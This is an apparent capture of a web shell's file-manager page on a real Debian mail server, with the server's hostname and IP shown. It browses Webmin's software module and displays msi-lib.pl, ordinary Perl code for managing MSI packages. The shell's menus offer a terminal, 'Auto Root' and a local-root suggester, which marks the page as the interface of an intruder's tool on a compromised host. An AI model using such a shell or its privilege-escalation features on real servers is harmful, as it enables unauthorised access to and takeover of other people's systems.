Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
webmin /
software /
Delete
Unzip
Name
Size
Permission
Date
Action
help
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
images
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
lang
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
CHANGELOG
3.03
KB
-rw-r--r--
2026-07-17 21:17
aix-lib.pl
19.56
KB
-rwxr-xr-x
2026-07-17 21:17
apk-lib.pl
8.52
KB
-rw-r--r--
2026-07-17 21:17
apt-lib.pl
16.07
KB
-rwxr-xr-x
2026-07-17 21:17
apt_upgrade.cgi
1.99
KB
-rwxr-xr-x
2026-07-17 21:22
cgi_args.pl
524
B
-rwxr-xr-x
2026-07-17 21:17
close.cgi
263
B
-rwxr-xr-x
2026-07-17 21:22
config-aix
30
B
-rw-r--r--
2026-07-17 21:17
config-alpine-linux
37
B
-rw-r--r--
2026-07-17 21:17
config-cobalt-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-coherent-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-corel-linux
33
B
-rw-r--r--
2026-07-17 21:17
config-cygwin
33
B
-rw-r--r--
2026-07-17 21:17
config-debian-linux
51
B
-rw-r--r--
2026-07-17 21:17
config-freebsd
54
B
-rw-r--r--
2026-07-17 21:17
config-freebsd-8.4-ALL
52
B
-rw-r--r--
2026-07-17 21:17
config-gentoo-linux
33
B
-rw-r--r--
2026-07-17 21:17
config-hpux
31
B
-rw-r--r--
2026-07-17 21:17
config-mandrake-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-msc-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-netbsd
34
B
-rw-r--r--
2026-07-17 21:17
config-open-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-openSUSE-Linux-15.0-ALL
30
B
-rw-r--r--
2026-07-17 21:17
config-openbsd
34
B
-rw-r--r--
2026-07-17 21:17
config-openmamba-linux
48
B
-rw-r--r--
2026-07-17 21:17
config-openserver
33
B
-rw-r--r--
2026-07-17 21:17
config-redhat-linux
48
B
-rw-r--r--
2026-07-17 21:17
config-slackware-linux
36
B
-rw-r--r--
2026-07-17 21:17
config-solaris
33
B
-rw-r--r--
2026-07-17 21:17
config-suse-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-syno-linux
50
B
-rw-r--r--
2026-07-17 21:17
config-trustix-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-turbo-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-united-linux
30
B
-rw-r--r--
2026-07-17 21:17
config-unixware
33
B
-rw-r--r--
2026-07-17 21:17
config-windows
30
B
-rw-r--r--
2026-07-17 21:17
config.info
541
B
-rw-r--r--
2026-07-17 21:17
config.info.ca
554
B
-rw-r--r--
2026-07-17 21:17
config.info.cs
372
B
-rw-r--r--
2026-07-17 21:17
config.info.de
523
B
-rw-r--r--
2026-07-17 21:17
config.info.es
320
B
-rw-r--r--
2026-07-17 21:17
config.info.fr
135
B
-rw-r--r--
2026-07-17 21:17
config.info.ja
428
B
-rw-r--r--
2026-07-17 21:17
config.info.ko
409
B
-rw-r--r--
2026-07-17 21:17
config.info.ms
411
B
-rw-r--r--
2026-07-17 21:17
config.info.nl
415
B
-rw-r--r--
2026-07-17 21:17
config.info.no
424
B
-rw-r--r--
2026-07-17 21:17
config.info.pl
392
B
-rw-r--r--
2026-07-17 21:17
config.info.ru
175
B
-rw-r--r--
2026-07-17 21:17
config.info.sv
224
B
-rw-r--r--
2026-07-17 21:17
config.info.tr
123
B
-rw-r--r--
2026-07-17 21:17
config.info.uk
174
B
-rw-r--r--
2026-07-17 21:17
config.info.zh
122
B
-rw-r--r--
2026-07-17 21:17
config.info.zh_TW
125
B
-rw-r--r--
2026-07-17 21:17
csw-lib.pl
2.66
KB
-rwxr-xr-x
2026-07-17 21:17
cygwin-lib.pl
22.64
KB
-rwxr-xr-x
2026-07-17 21:17
debian-lib.pl
9.23
KB
-rwxr-xr-x
2026-07-17 21:17
delete_file.cgi
340
B
-rwxr-xr-x
2026-07-17 21:22
delete_pack.cgi
1.71
KB
-rwxr-xr-x
2026-07-17 21:22
delete_packs.cgi
1.82
KB
-rwxr-xr-x
2026-07-17 21:22
do_install.cgi
2.67
KB
-rwxr-xr-x
2026-07-17 21:22
edit_pack.cgi
1.13
KB
-rwxr-xr-x
2026-07-17 21:22
emerge-lib.pl
7.83
KB
-rwxr-xr-x
2026-07-17 21:17
file_info.cgi
2.09
KB
-rwxr-xr-x
2026-07-17 21:22
find.cgi
1.63
KB
-rwxr-xr-x
2026-07-17 21:22
freebsd-lib.pl
8.26
KB
-rwxr-xr-x
2026-07-17 21:17
hpux-lib.pl
8.42
KB
-rwxr-xr-x
2026-07-17 21:17
index.cgi
3.3
KB
-rwxr-xr-x
2026-07-17 21:22
install_pack.cgi
4.8
KB
-rwxr-xr-x
2026-07-17 21:22
ipkg-close.cgi
269
B
-rwxr-xr-x
2026-07-17 21:22
ipkg-edit_pack.cgi
1.45
KB
-rwxr-xr-x
2026-07-17 21:22
ipkg-lib.pl
8.04
KB
-rwxr-xr-x
2026-07-17 21:17
ipkg-open.cgi
243
B
-rwxr-xr-x
2026-07-17 21:22
ipkg-tree.cgi
4
KB
-rwxr-xr-x
2026-07-17 21:22
ipkg_upgrade.cgi
937
B
-rwxr-xr-x
2026-07-17 21:22
list_pack.cgi
1.73
KB
-rwxr-xr-x
2026-07-17 21:22
log_parser.pl
1.34
KB
-rwxr-xr-x
2026-07-17 21:17
module.info
497
B
-rw-r--r--
2026-07-17 21:17
module.info.ar
0
B
-rw-r--r--
2026-07-17 21:17
module.info.ar.auto
170
B
-rw-r--r--
2026-07-17 21:17
module.info.bg
0
B
-rw-r--r--
2026-07-17 21:17
module.info.bg.auto
214
B
-rw-r--r--
2026-07-17 21:17
module.info.ca
116
B
-rw-r--r--
2026-07-17 21:17
module.info.ca.auto
21
B
-rw-r--r--
2026-07-17 21:17
module.info.cs
30
B
-rw-r--r--
2026-07-17 21:17
module.info.cs.auto
114
B
-rw-r--r--
2026-07-17 21:17
module.info.da
0
B
-rw-r--r--
2026-07-17 21:17
module.info.da.auto
124
B
-rw-r--r--
2026-07-17 21:17
module.info.de
106
B
-rw-r--r--
2026-07-17 21:17
module.info.de.auto
21
B
-rw-r--r--
2026-07-17 21:17
module.info.el
0
B
-rw-r--r--
2026-07-17 21:17
module.info.el.auto
220
B
-rw-r--r--
2026-07-17 21:17
module.info.es
29
B
-rw-r--r--
2026-07-17 21:17
module.info.es.auto
106
B
-rw-r--r--
2026-07-17 21:17
module.info.eu
0
B
-rw-r--r--
2026-07-17 21:17
module.info.eu.auto
129
B
-rw-r--r--
2026-07-17 21:17
module.info.fa
0
B
-rw-r--r--
2026-07-17 21:17
module.info.fa.auto
215
B
-rw-r--r--
2026-07-17 21:17
module.info.fi
0
B
-rw-r--r--
2026-07-17 21:17
module.info.fi.auto
130
B
-rw-r--r--
2026-07-17 21:17
module.info.fr
29
B
-rw-r--r--
2026-07-17 21:17
module.info.fr.auto
117
B
-rw-r--r--
2026-07-17 21:17
module.info.hr
0
B
-rw-r--r--
2026-07-17 21:17
module.info.hr.auto
138
B
-rw-r--r--
2026-07-17 21:17
module.info.hu
38
B
-rw-r--r--
2026-07-17 21:17
module.info.hu.auto
108
B
-rw-r--r--
2026-07-17 21:17
module.info.it
0
B
-rw-r--r--
2026-07-17 21:17
module.info.it.auto
134
B
-rw-r--r--
2026-07-17 21:17
module.info.ja
43
B
-rw-r--r--
2026-07-17 21:17
module.info.ja.auto
157
B
-rw-r--r--
2026-07-17 21:17
module.info.ko
34
B
-rw-r--r--
2026-07-17 21:17
module.info.ko.auto
128
B
-rw-r--r--
2026-07-17 21:17
module.info.ms
104
B
-rw-r--r--
2026-07-17 21:17
module.info.ms.auto
18
B
-rw-r--r--
2026-07-17 21:17
module.info.nl
27
B
-rw-r--r--
2026-07-17 21:17
module.info.nl.auto
104
B
-rw-r--r--
2026-07-17 21:17
module.info.no
26
B
-rw-r--r--
2026-07-17 21:17
module.info.no.auto
107
B
-rw-r--r--
2026-07-17 21:17
module.info.pl
121
B
-rw-r--r--
2026-07-17 21:17
module.info.pl.auto
21
B
-rw-r--r--
2026-07-17 21:17
module.info.pt
28
B
-rw-r--r--
2026-07-17 21:17
module.info.pt.auto
102
B
-rw-r--r--
2026-07-17 21:17
module.info.pt_BR
0
B
-rw-r--r--
2026-07-17 21:17
module.info.pt_BR.auto
139
B
-rw-r--r--
2026-07-17 21:17
module.info.ru
30
B
-rw-r--r--
2026-07-17 21:17
module.info.ru.auto
205
B
-rw-r--r--
2026-07-17 21:17
module.info.sk
0
B
-rw-r--r--
2026-07-17 21:17
module.info.sk.auto
145
B
-rw-r--r--
2026-07-17 21:17
module.info.sv
21
B
-rw-r--r--
2026-07-17 21:17
module.info.sv.auto
100
B
-rw-r--r--
2026-07-17 21:17
module.info.tr
28
B
-rw-r--r--
2026-07-17 21:17
module.info.tr.auto
107
B
-rw-r--r--
2026-07-17 21:17
module.info.uk
0
B
-rw-r--r--
2026-07-17 21:17
module.info.uk.auto
202
B
-rw-r--r--
2026-07-17 21:17
module.info.zh
18
B
-rw-r--r--
2026-07-17 21:17
module.info.zh.auto
91
B
-rw-r--r--
2026-07-17 21:17
module.info.zh_TW
24
B
-rw-r--r--
2026-07-17 21:17
module.info.zh_TW.auto
97
B
-rw-r--r--
2026-07-17 21:17
msi-lib.pl
8.63
KB
-rwxr-xr-x
2026-07-17 21:17
open.cgi
238
B
-rwxr-xr-x
2026-07-17 21:22
openbsd-lib.pl
4.98
KB
-rwxr-xr-x
2026-07-17 21:17
pkg-lib.pl
2.49
KB
-rw-r--r--
2026-07-17 21:17
pkgadd-lib.pl
10.26
KB
-rwxr-xr-x
2026-07-17 21:17
pkgadd-no-ask
164
B
-rw-r--r--
2026-07-17 21:17
pkgsrc-lib.pl
7.41
KB
-rw-r--r--
2026-07-17 21:17
ports-lib.pl
3.46
KB
-rw-r--r--
2026-07-17 21:17
ports_upgrade.cgi
512
B
-rwxr-xr-x
2026-07-17 21:22
rhn-lib.pl
3.01
KB
-rwxr-xr-x
2026-07-17 21:17
rhn.cgi
1.3
KB
-rwxr-xr-x
2026-07-17 21:22
rhn_check.cgi
1.84
KB
-rwxr-xr-x
2026-07-17 21:22
rpm-lib.pl
13.23
KB
-rwxr-xr-x
2026-07-17 21:17
rpmfind.cgi
2.11
KB
-rwxr-xr-x
2026-07-17 21:22
search.cgi
2.29
KB
-rwxr-xr-x
2026-07-17 21:22
slackware-lib.pl
7.13
KB
-rwxr-xr-x
2026-07-17 21:17
software-lib.pl
9.15
KB
-rwxr-xr-x
2026-07-17 21:17
tree.cgi
3.79
KB
-rwxr-xr-x
2026-07-17 21:22
urpmi-lib.pl
2.13
KB
-rwxr-xr-x
2026-07-17 21:17
urpmi_upgrade.cgi
850
B
-rwxr-xr-x
2026-07-17 21:22
view.cgi
931
B
-rwxr-xr-x
2026-07-17 21:22
yum-lib.pl
13.46
KB
-rwxr-xr-x
2026-07-17 21:17
yum_upgrade.cgi
919
B
-rwxr-xr-x
2026-07-17 21:22
Save
Rename
#) msi-lib.pl # Functions for Windows package management $msi_package_logdir = "$module_config_directory/msis"; $sw_discovery_cmd = "$root_directory/SW_Discovery/SW_Discovery.exe"; $has_sw_discovery = -x $sw_discovery_cmd; $no_package_filesearch = 1; sub list_package_system_commands { return ($sw_discovery_cmd); } # list_packages([package]*) # Fills the array %packages with all or listed packages sub list_packages { %packages = ( ); if ($has_sw_discovery) { local %want = map { $_, 1 } @_; open(OUT, "$sw_discovery_cmd |"); local $n = -1; while(<OUT>) { s/\r|\n//g; if (/ID\s*=\s*\{(\S+)\}\s*(\S*)/ || /ID\s*=\s*(.*)/) { $n++; $packages{$n,'name'} = $1; $packages{$n,'arch'} = 'x86'; $packages{$n,'version'} = $2; if (/ID\s*=\s*\{(\S+)\}/) { $packages{$n,'code'} = $1; } else { $packages{$n,'nouninstall'} = 1; } $packages{$n,'nolist'} = 1; } elsif (/Package\s+Name\s*:\s*(.*)/) { if ($packages{$n,'code'}) { $packages{$n,'name'} = $1; } else { $packages{$n,'desc'} = $1; } } elsif (/Version\s*:\s*(.*)/) { $packages{$n,'version'} = $1; } elsif (/Publisher\s*:\s*(.*)/) { $packages{$n,'vendor'} = $1; $packages{$n,'class'} = $1; $packages{$n,'class'} =~ s/(http|https):\/\///g; } elsif (/Location\s*:\s*(\S.*)/) { $packages{$n,'desc'} ||= $1; local @st = stat($1); $packages{$n,'installed'} = $st[9]; } } close(OUT); $n++; # Filter out un-wanted packages, or those with no name for(my $i=0; $i<$n; $i++) { if (%want && !$want{$packages{$i,'name'}} || !$packages{$i,'name'}) { if ($i != $n-1) { foreach my $f ('name', 'code', 'arch', 'version', 'class', 'vendor', 'installed') { $packages{$i,$f} = $packages{$i+1,$f}; } } $i--; $n--; } } return $n; } # Query built-in list of those we know were installed local @pkgs = @_; @pkgs = &list_msi_packages() if (!@pkgs); local $i = 0; foreach my $p (@pkgs) { local $msi = &get_msi_package($p); $packages{$i,'name'} = $msi->{'name'}; $packages{$i,'version'} = $msi->{'version'}; $packages{$i,'desc'} = $msi->{'desc'}; $packages{$i,'nolist'} = 0; $i++; } return $i; } # list_msi_packages() # Returns the names of installed MSI packages (using Webmin) sub list_msi_packages { opendir(DIR, $msi_package_logdir); local @rv = grep { $_ ne "." && $_ ne ".." } readdir(DIR); closedir(DIR); return @rv; } # get_msi_package(name) # Returns a hash containing details of an MSI package sub get_msi_package { local ($pkg) = @_; local %msi; &read_file("$msi_package_logdir/".lc($pkg), \%msi); $msi{'name'} = $pkg; return \%msi; } # save_msi_package(&package) # Updates the local details of an MSI package sub save_msi_package { local ($msi) = @_; &make_dir($msi_package_logdir, 0700); &write_file("$msi_package_logdir/".lc($msi->{'name'}), $msi); } # delete_msi_package(name) # Removes the local details of an MSI package sub delete_msi_package { local ($name) = @_; unlink("$msi_package_logdir/".lc($name)); } # package_info(package, [version]) # Returns an array of package information in the order # name, class, description, arch, version, vendor, installtime, # no-uninstall, no-list sub package_info { local ($name, $ver) = @_; if ($has_sw_discovery) { # Get from total list local %packages; local $n = &list_packages(); for(my $i=0; $i<$n; $i++) { if ($packages{$i,'name'} eq $name && (!$ver || $ver eq $packages{$i,'version'})) { return ($packages{$i,'name'}, $packages{$i,'vendor'}, $packages{$i,'desc'}, $packages{$i,'arch'}, $packages{$i,'version'}, $packages{$i,'vendor'}, $packages{$i,'installed'} ? &make_date($packages{$i,'installed'}) : "Unknown", $packages{$i,'nouninstall'}, $packages{$i,'nolist'}, ); } } return ( ); } else { # Query our savedd DB local $msi = &get_msi_package($name); return ( $msi->{'name'}, $msi->{'class'}, $msi->{'desc'}, $msi->{'arch'}, $msi->{'version'}, $msi->{'vendor'}, &make_date($msi->{'installed'}), $msi->{'code'} ? 1 : 0, 0 ); } } # virtual_package_info(package) # Returns an array of package information for a virtual package, usually called # if "package_info" returns nothing. sub virtual_package_info { return ( ); } # is_package(file) # Check if some file is a package file sub is_package { local ($file) = @_; return $file =~ /\.msi$/i ? 1 : 0; } # file_packages(file) # Returns a list of all packages in the given file, in the form # package-version description # XXX how to get proper description? sub file_packages { local ($file) = @_; if ($file =~ /([^\/\\]+)\.msi$/i) { local $suffix = $1; $suffix =~ s/_\d.*$//; # For files named like apache_2.x.y... return $suffix; } return ( ); } # install_options(file, package) # Outputs HTML for choosing install options for some package sub install_options { local ($file, $pkg) = @_; print &ui_table_row($text{'msi_users'}, &ui_radio("users", 2, [ [ 0, $text{'msi_users0'} ], [ 1, $text{'msi_users1'} ], [ 2, $text{'msi_users2'} ] ]), 3); } # install_package(file, package, [&inputs]) # Install the given package from the given file, using options from %in. Returns # undef on success or an error message on failure. sub install_package { local ($file, $pkg, $in) = @_; # Run the msiexec command local $temp = &tempname(); $file =~ s/\//\\/g; $temp =~ s/\//\\/g; local @st = stat($file); system("msiexec /i "."e_path($file)." /quiet /norestart ". "/l*vx "."e_path($temp)." >$null_file"); &wait_till_stopped_logging($temp); # Read output from log file local $ok; local %msi = ( 'name' => $pkg, 'arch' => 'x86', # Wrong! 'installed' => time() ); local $fc = 0; open(OUT, "<".$temp); while(<OUT>) { s/\r|\n//g; s/\0//g; # Strip unicode, primitively if (/Product:\s*(.*)\s\-\-.*success/i) { $ok = 1; } elsif (/ProductVersion\s*=\s*(.*)/) { $msi{'version'} = $1; } elsif (/ProductName\s*=\s*(.*)/) { $msi{'desc'} = $1; } elsif (/ProductCode\s*=\s*(.*)/) { $msi{'code'} = $1; } elsif (/Manufacturer\s*=\s*(.*)/) { $msi{'vendor'} = $1; } elsif (/Note:\s+\d+:\s+\d+\s+\d+:\s+([a-z]:.*)/) { $msi{'files_'.$fc} = $1; local @st = stat($1); $msi{'sizes_'.$fc} = $st[7]; $fc++; } } close(OUT); if (!$ok) { return "MSI install failed!"; } &save_msi_package(\%msi); # Make available to users, if requested if ($in->{'users'}) { local $flag = $in->{'users'} == 1 ? "u" : "m"; system("msiexec /j$flag "."e_path($file)." /quiet /norestart ". ">$null_file"); } return undef; } # check_files(package, version) # Fills in the %files array with information about the files belonging # to some package. Values in %files are path type user group size error sub check_files { local ($name, $ver) = @_; local $msi = &get_msi_package($name); local $i; for($i=0; defined($msi->{'files_'.$i}); $i++) { $files{$i,'path'} = $msi->{'files_'.$i}; local @st = stat($files{$i,'path'}); $files{$i,'type'} = -d $files{$i,'path'} ? 1 : 0; $files{$i,'size'} = $msi->{'sizes_'.$i}; if (!@st) { $files{$i,'error'} = $text{'msi_missing'}; } elsif ($files{$i,'size'} ne $st[7]) { $files{$i,'error'} = $text{'msi_size'}; } } return $i; } # delete_options(package) # Outputs HTML for package uninstall options sub delete_options { local ($name) = @_; # None! } # delete_package(package, [&options], version) # Attempt to remove some package sub delete_package { local ($name, $opts, $ver) = @_; # Call the uninstall command local $code; if ($has_sw_discovery) { # Get code form package list local %packages; local $n = &list_packages(); for(my $i=0; $i<$n; $i++) { if ($packages{$i,'name'} eq $name && !$ver || $ver eq $packages{$i,'version'}) { $code = $packages{$i,'code'}; } } $code || &error("Couldn't find install code for $name"); } else { local $msi = &get_msi_package($name); $code = $msi->{'code'}; } local $temp = &tempname(); $temp =~ s/\//\\/g; system("msiexec /x \"$code\" /quiet /norestart ". "/l*vx "."e_path($temp)." >$null_file"); &wait_till_stopped_logging($temp); # Check log for success local $ok = 0; open(LOG, "<".$temp); while(<LOG>) { s/\r|\n//g; s/\0//g; # Strip unicode, primitively if (/Product:\s*(.*)\s\-\-.*success/i) { $ok = 1; } } close(LOG); if (!$ok) { return "MSI uninstall failed"; } # Remove from local info &delete_msi_package($name); return undef; } sub package_system { return "MSI"; } sub package_help { return "msi"; } # wait_till_stopped_logging(file) # Spin until some file has remained untouched for 5 seconds sub wait_till_stopped_logging { local ($file) = @_; while(1) { local @before = stat($file); sleep(5); local @after = stat($file); last if ($before[9] == $after[9]); } } 1;